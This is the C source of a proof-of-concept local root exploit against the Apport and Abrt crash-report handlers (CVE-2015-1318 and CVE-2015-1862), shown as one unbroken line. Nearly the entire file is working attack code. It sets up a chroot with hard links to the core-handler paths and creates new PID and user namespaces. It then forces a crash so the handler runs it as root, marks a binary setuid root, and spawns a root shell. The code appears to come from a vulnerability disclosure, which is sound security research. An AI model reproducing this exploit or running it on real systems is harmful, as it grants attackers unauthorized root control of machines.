#define _GNU_SOURCE #include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <fcntl.h> #include <signal.h> #include <elf.h> #include <err.h> #include <syslog.h> #include <sched.h> #include <linux/sched.h> #include <sys/types.h> #include <sys/stat.h> #include <sys/auxv.h> #include <sys/wait.h> # warning this file must be compiled with -static // // Apport/Abrt Vulnerability Demo Exploit. // // Apport: CVE-2015-1318 // Abrt: CVE-2015-1862 // // -- taviso@cmpxchg8b.com, April 2015. // // $ gcc -static newpid.c // $ ./a.out // uid=0(root) gid=0(root) groups=0(root) // sh-4.3# exit // exit // // Hint: To get libc.a, // yum install glibc-static or apt-get install libc6-dev // int main(int argc, char **argv) { int status; Elf32_Phdr *hdr; pid_t wrapper; pid_t init; pid_t subprocess; unsigned i; // Verify this is a static executable by checking the program headers for a // dynamic segment. Originally I thought just checking AT_BASE would work, // but that isnt reliable across many kernels. hdr = (void *) getauxval(AT_PHDR); // If we find any PT_DYNAMIC, then this is probably not a static binary. for (i = 0; i < getauxval(AT_PHNUM); i++) { if (hdr[i].p_type == PT_DYNAMIC) { errx(EXIT_FAILURE, "you *must* compile with -static"); } } // If execution reached here, it looks like we're a static executable. If // I'm root, then we've convinced the core handler to run us, so create a // setuid root executable that can be used outside the chroot. if (getuid() == 0) { if (chown("sh", 0, 0) != 0) exit(EXIT_FAILURE); if (chmod("sh", 04755) != 0) exit(EXIT_FAILURE); return EXIT_SUCCESS; } // If I'm not root, but euid is 0, then the exploit worked and we can spawn // a shell and cleanup. if (setuid(0) == 0) { system("id"); system("rm -rf exploit"); execlp("sh", "sh", NULL); // Something went wrong. err(EXIT_FAILURE, "failed to spawn root shell, but exploit worked"); } // It looks like the exploit hasn't run yet, so create a chroot. if (mkdir("exploit", 0755) != 0 || mkdir("exploit/usr", 0755) != 0 || mkdir("exploit/usr/share", 0755) != 0 || mkdir("exploit/usr/share/apport", 0755) != 0 || mkdir("exploit/usr/libexec", 0755) != 0) { err(EXIT_FAILURE, "failed to create chroot directory"); } // Create links to the exploit locations we need. if (link(*argv, "exploit/sh") != 0 || link(*argv, "exploit/usr/share/apport/apport") != 0 // Ubuntu || link(*argv, "exploit/usr/libexec/abrt-hook-ccpp") != 0) { // Fedora err(EXIT_FAILURE, "failed to create required hard links"); } // Create a subprocess so we don't enter the new namespace. if ((wrapper = fork()) == 0) { // In the child process, create a new pid and user ns. The pid // namespace is only needed on Ubuntu, because they check for %P != %p // in their core handler. On Fedora, just a user ns is sufficient. if (unshare(CLONE_NEWPID | CLONE_NEWUSER) != 0) err(EXIT_FAILURE, "failed to create new namespace"); // Create a process in the new namespace. if ((init = fork()) == 0) { // Init (pid 1) signal handling is special, so make a subprocess to // handle the traps. if ((subprocess = fork()) == 0) { // Change /proc/self/root, which we can do as we're privileged // within the new namepace. if (chroot("exploit") != 0) { err(EXIT_FAILURE, "chroot didnt work"); } // Now trap to get the core handler invoked. __builtin_trap(); // Shouldn't happen, unless user is ptracing us or something. err(EXIT_FAILURE, "coredump failed, were you ptracing?"); } // If the subprocess exited with an abnormal signal, then everything worked. if (waitpid(subprocess, &status, 0) == subprocess) return WIFSIGNALED(status) ? EXIT_SUCCESS : EXIT_FAILURE; // Something didn't work. return EXIT_FAILURE; } // The new namespace didn't work. if (waitpid(init, &status, 0) == init) return WIFEXITED(status) && WEXITSTATUS(status) == EXIT_SUCCESS ? EXIT_SUCCESS : EXIT_FAILURE; // Waitpid failure. return EXIT_FAILURE; } // If the subprocess returned sccess, the exploit probably worked, reload // with euid zero. if (waitpid(wrapper, &status, 0) == wrapper) { // All done, spawn root shell. if (WIFEXITED(status) && WEXITSTATUS(status) == 0) { execl(*argv, "w00t", NULL); } } // Unknown error. errx(EXIT_FAILURE, "unexpected result, cannot continue"); }